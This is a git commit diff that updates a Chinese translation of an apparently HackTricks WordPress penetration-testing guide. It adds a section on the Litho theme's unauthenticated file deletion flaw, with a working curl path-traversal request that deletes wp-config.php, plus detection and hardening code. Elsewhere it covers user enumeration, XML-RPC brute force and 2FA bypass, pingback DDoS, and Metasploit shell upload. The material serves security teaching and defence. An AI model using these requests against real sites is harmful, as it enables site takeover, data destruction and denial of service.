Translated ['src/network-services-pentesting/pentesting-web/wordpress.md

This commit is contained in:
Translator 2025-08-05 02:56:14 +00:00
parent 950f13a43c
commit dda0075c80

View File

@ -5,9 +5,9 @@
## 基本信息
- **上传**的文件位于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **主题文件可以在 /wp-content/themes/ 中找到,** 所以如果你改主题的一些 php 文件以获取 RCE你可能会使用该路径。例如使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **主题文件可以在 /wp-content/themes/ 中找到,** 所以如果你改主题的一些 php 文件以获取 RCE你可能会使用该路径。例如使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **另一个有用的 URL 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **另一个有用的 URL 可能是** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- 在 **wp-config.php** 中你可以找到数据库的根密码。
- 默认登录路径检查: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
@ -17,28 +17,28 @@
- `index.php`
- `license.txt` 包含有用的信息,例如安装的 WordPress 版本。
- `wp-activate.php` 用于设置新 WordPress 网站时的电子邮件激活过程。
- 登录文件夹(可能被重命名以隐藏):
- 登录文件夹(可能被重命名以隐藏)
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` 是一个代表 WordPress 功能的文件,允许数据通过 HTTP 作为传输机制XML 作为编码机制进行传输。这种类型的通信已被 WordPress [REST API](https://developer.wordpress.org/rest-api/reference) 代。
- `xmlrpc.php` 是一个代表 WordPress 功能的文件,允许数据通过 HTTP 作为传输机制XML 作为编码机制进行传输。这种类型的通信已被 WordPress [REST API](https://developer.wordpress.org/rest-api/reference) 代。
- `wp-content` 文件夹是存储插件和主题的主要目录。
- `wp-content/uploads/` 是存储上传到平台的任何文件的目录。
- `wp-includes/` 这是存储核心文件的目录例如证书、字体、JavaScript 文件和小部件。
- `wp-sitemap.xml` 在 WordPress 版本 5.5 及更高版本中WordPress 生成一个包含所有公共帖子和可公开查询的帖子类型分类法的站点地图 XML 文件。
- `wp-sitemap.xml` 在 WordPress 版本 5.5 及更高版本中WordPress 生成一个包含所有公共帖子和可公开查询的帖子类型分类法的站点地图 XML 文件。
**后期利用**
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、认证密钥和盐,以及数据库表前缀。该配置文件还可以用于激活 DEBUG 模式,这在故障排除时非常有用。
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、认证密钥和盐,以及数据库表前缀。该配置文件还可以用于激活 DEBUG 模式,这在故障排除时可能很有用。
### 用户权限
- **管理员**
- **编辑者**: 发布和管理他和其他人的帖子
- **作者**: 发布和管理自己的帖子
- **贡献者**: 撰写和管理自己的帖子但不能发布
- **订阅者**: 浏览帖子并编辑他们的个人资料
- **编辑**发布和管理他和其他人的帖子
- **作者**发布和管理自己的帖子
- **贡献者**撰写和管理自己的帖子但不能发布
- **订阅者**浏览帖子并编辑他们的个人资料
## **被动枚举**
@ -46,7 +46,7 @@
检查是否可以找到文件 `/license.txt``/readme.html`
在页面的 **源代码** 中(来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) 的示例):
在页面的 **源代码** 中(来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) 的示例)
- grep
```bash
@ -56,11 +56,13 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- CSS链接文件
- CSS 链接文件
![](<../../images/image (533).png>)
- JavaScript文件
- JavaScript 文件
![](<../../images/image (524).png>)
### 获取插件
```bash
@ -70,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### 提取版本信息一般来说
### 提取版本一般来说
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -83,13 +85,13 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### 用户
- **ID 暴力破解:** 通过暴力破解用户 ID 从 WordPress 网站获取有效用户:
- **ID 暴力破解:** 您可以通过暴力破解用户 ID 从 WordPress 网站获取有效用户:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
如果响应是 **200****30X**,这意味着 id 是 **有效**。如果响应是 **400**,则 id 是 **无效**
如果响应是 **200****30X**,这意味着 id 是 **有效**。如果响应是 **400**,则 id 是 **无效**。
- **wp-json:** 你也可以通过查询来获取用户的信息:
- **wp-json:** 您还可以通过查询来获取有关用户的信息:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
@ -97,7 +99,7 @@ curl http://blog.example.com/wp-json/wp/v2/users
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
注意,此端点仅暴露已发布帖子的用户。**仅提供启用此功能的用户的信息**。
注意,此端点仅公开已发布帖子的用户。**仅提供启用此功能的用户的信息**。
还要注意,**/wp-json/wp/v2/pages** 可能会泄露 IP 地址。
@ -105,7 +107,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
### XML-RPC
如果 `xml-rpc.php` 处于活动状态,您可以执行凭据暴力破解或使用它对其他资源发起 DoS 攻击。(您可以通过[使用这个](https://github.com/relarizky/wpxploit)来自动化此过程,例如)。
如果 `xml-rpc.php` 处于活动状态,您可以执行凭据暴力破解或用它对其他资源发起 DoS 攻击。(您可以通过[使用这个](https://github.com/relarizky/wpxploit)来自动化此过程,例如)。
要查看它是否处于活动状态,请尝试访问 _**/xmlrpc.php**_ 并发送此请求:
@ -130,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
</params>
</methodCall>
```
消息 _"用户名或密码不正确"_ 应在 200 代码响应中出现,如果凭据无效
消息 _"用户名或密码不正确"_ 应在凭据无效时出现在 200 代码响应中。
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
@ -172,12 +174,12 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**绕过2FA**
此方法是针对程序而非人类的,并且较旧,因此不支持2FA。因此如果您拥有有效的凭据但主要入口受到2FA保护**您可能能够利用xmlrpc.php使用这些凭据登录从而绕过2FA**。请注意您将无法执行通过控制台可以执行的所有操作但您仍然可能能够达到RCE正如Ippsec在[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)中解释的那样。
此方法是针对程序而非人类的,因此较旧,不支持2FA。因此如果您拥有有效的凭据但主要入口受到2FA保护**您可能能够利用xmlrpc.php使用这些凭据登录从而绕过2FA**。请注意您将无法执行通过控制台可以执行的所有操作但您仍然可能能够达到RCE正如Ippsec在[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)中解释的那样。
**DDoS或端口扫描**
如果您可以在列表中找到方法_**pingback.ping**_则可以使Wordpress向任何主机/端口发送任意请求。\
这可以用来请求**成千上万**的Wordpress **站点** **访问**一个**位置**(因此在该位置造成**DDoS**),或者您可以用它让**Wordpress** **扫描**一些内部**网络**(您可以指定任何端口)。
这可以用来请求**成千上万**的Wordpress**站点**去**访问**一个**位置**(因此在该位置造成**DDoS**),或者您可以用它让**Wordpress**去**扫描**一些内部**网络**(您可以指定任何端口)。
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -211,7 +213,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
当访问此文件时,会执行一个“**重**”的MySQL **查询**,因此可能被**攻击者**用来**造成****DoS**。\
此外,默认情况下,`wp-cron.php`在每次页面加载时被调用每当客户端请求任何Wordpress页面时在高流量网站上可能会导致问题DoS
建议禁用Wp-Cron并在主机创建一个真实的cronjob以定期执行所需的操作而不造成问题
建议禁用Wp-Cron并在主机创建一个真实的cronjob以定期执行所需的操作而不造成问题
### /wp-json/oembed/1.0/proxy - SSRF
@ -237,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## 通过覆盖一个比特获取访问权限
这不仅仅是一次真正的攻击,而是一种好奇。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任何 WordPress 文件的 1 个比特。因此,你可以将文件 `/var/www/html/wp-includes/user.php` 的位置 `5389` 翻转为 NOP 操作。
这不仅仅是一次真实攻击,而是一种好奇心。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任何 WordPress 文件的 1 个比特。因此,你可以将文件 `/var/www/html/wp-includes/user.php` 的位置 `5389` 翻转为 NOP NOT (`!`) 操作。
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -275,7 +277,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
![](<../../images/image (722).png>)
上传插件并按立即安装
上传插件并按立即安装:
![](<../../images/image (249).png>)
@ -283,7 +285,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
![](<../../images/image (70).png>)
这可能看起来没有任何反应,但如果您转到媒体,您将看到您的 shell 已上传:
这可能表面上不会有任何效果,但如果您转到媒体,您将看到您的 shell 已上传:
![](<../../images/image (462).png>)
@ -301,8 +303,8 @@ use exploit/unix/webapp/wp_admin_shell_upload
- 上传下载插件的 zip 文件。
3. **插件激活**:插件成功安装后,必须通过仪表板激活。
4. **利用**
- 安装并激活插件“reflex-gallery”可以利用该插件,因为已知存在漏洞。
- Metasploit 框架提供了漏洞的利用。通过加载适当的模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未经授权访问。
- 安装并激活插件 "reflex-gallery",可以利用它,因为已知存在漏洞。
- Metasploit 框架提供了漏洞的利用。通过加载适当的模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未经授权访问。
- 注意,这只是利用 WordPress 网站的众多方法之一。
内容包括描述在 WordPress 仪表板中安装和激活插件步骤的视觉辅助工具。然而,重要的是要注意,以这种方式利用漏洞在没有适当授权的情况下是非法和不道德的。此信息应负责任地使用,仅在法律背景下使用,例如在获得明确许可的渗透测试中。
@ -311,7 +313,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
## 从 XSS 到 RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike)_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他关键漏洞的脚本,适用于 WordPress。有关更多信息请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 **Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持,并允许:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike)_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他 WordPress 中的关键漏洞的脚本。有关更多信息,请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 WordPress 版本 6.X.X、5.X.X 和 4.X.X 的 **支持,并允许:**
- _**权限提升:**_ 在 WordPress 中创建用户。
- _**(RCE) 自定义插件(后门)上传:**_ 将您的自定义插件(后门)上传到 WordPress。
- _**(RCE) 内置插件编辑:**_ 编辑 WordPress 中的内置插件。
@ -343,14 +345,14 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**使用 `nopriv` 使得端点可以被任何用户访问(甚至是未认证的用户)。**
**使用 `nopriv` 使得端点可以被任何用户访问(甚至是未认证的用户)。**
> [!CAUTION]
> 此外,如果该函数仅使用 `wp_verify_nonce` 检查用户的授权,该函数只是检查用户是否已登录,通常并不检查用户的角色。因此,低权限用户可能会访问高权限的操作。
- **REST API**
还可以通过使用 `register_rest_route` 函数从 WordPress 暴露函数
还可以通过使用 `register_rest_route` 函数从 WordPress 暴露函数
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -366,7 +368,83 @@ $this->namespace, '/get/', array(
- **直接访问 php 文件**
当然Wordpress 使用 PHP插件中的文件可以直接从网络访问。因此如果一个插件暴露了任何通过访问文件触发的脆弱功能那么任何用户都可以利用它。
当然WordPress 使用 PHP插件中的文件可以直接从网络访问。因此如果一个插件暴露了任何通过访问文件触发的脆弱功能任何用户都可以利用它。
### 通过 wp_ajax_nopriv 进行未认证的任意文件删除 (Litho 主题 <= 3.0)
WordPress 主题和插件经常通过 `wp_ajax_``wp_ajax_nopriv_` 钩子暴露 AJAX 处理程序。当使用 **_nopriv_** 变体时,**回调可以被未认证的访客访问**,因此任何敏感操作必须额外实现:
1. **能力检查**(例如 `current_user_can()` 或至少 `is_user_logged_in()`),以及
2. 使用 `check_ajax_referer()` / `wp_verify_nonce()` 验证的 **CSRF nonce**,以及
3. **严格的输入清理/验证**
Litho 多用途主题(< 3.1 *移除字体系列* 功能中忘记了这 3 个控制最终发布了以下代码简化版
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
此代码片段引入的问题:
* **未认证访问** 注册了 `wp_ajax_nopriv_` 钩子。
* **没有 nonce / 权限检查** 任何访客都可以访问该端点。
* **没有路径清理** 用户控制的 `fontfamily` 字符串在没有过滤的情况下连接到文件系统路径,允许经典的 `../../` 遍历。
#### 利用
攻击者可以通过发送一个 HTTP POST 请求删除任何 **在上传基础目录以下的** 文件或目录(通常是 `<wp-root>/wp-content/uploads/`
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
因为 `wp-config.php` 位于 *uploads* 之外,默认安装只需四个 `../` 序列。 删除 `wp-config.php` 会在下次访问时强制 WordPress 进入 *安装向导*,从而实现完全控制网站(攻击者只需提供新的数据库配置并创建一个管理员用户)。
其他影响较大的目标包括插件/主题的 `.php` 文件(以破坏安全插件)或 `.htaccess` 规则。
#### 检测清单
* 任何 `add_action( 'wp_ajax_nopriv_...')` 回调调用文件系统助手(`copy()``unlink()``$wp_filesystem->delete()` 等)。
* 将未经过滤的用户输入连接到路径中(查找 `$_POST``$_GET``$_REQUEST`)。
* 缺少 `check_ajax_referer()``current_user_can()`/`is_user_logged_in()`
#### 加固
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **始终**将任何磁盘上的写入/删除操作视为特权操作,并进行双重检查:
> • 身份验证 • 授权 • 随机数 • 输入清理 • 路径限制(例如通过 `realpath()` 加上 `str_starts_with()`)。
---
## WordPress 保护
@ -378,7 +456,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
也**只安装可信的 WordPress 插件和主题**。
**只安装可信的 WordPress 插件和主题**。
### 安全插件
@ -388,10 +466,14 @@ add_filter( 'auto_update_theme', '__return_true' );
### **其他建议**
- 除默认的 **admin** 用户
- 除默认的 **admin** 用户
- 使用 **强密码** 和 **2FA**
- 定期 **审查** 用户 **权限**
- **限制登录尝试** 以防止暴力攻击
- 重命名 **`wp-admin.php`** 文件,并仅允许内部或特定 IP 地址访问。
## 参考
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
{{#include ../../banners/hacktricks-training.md}}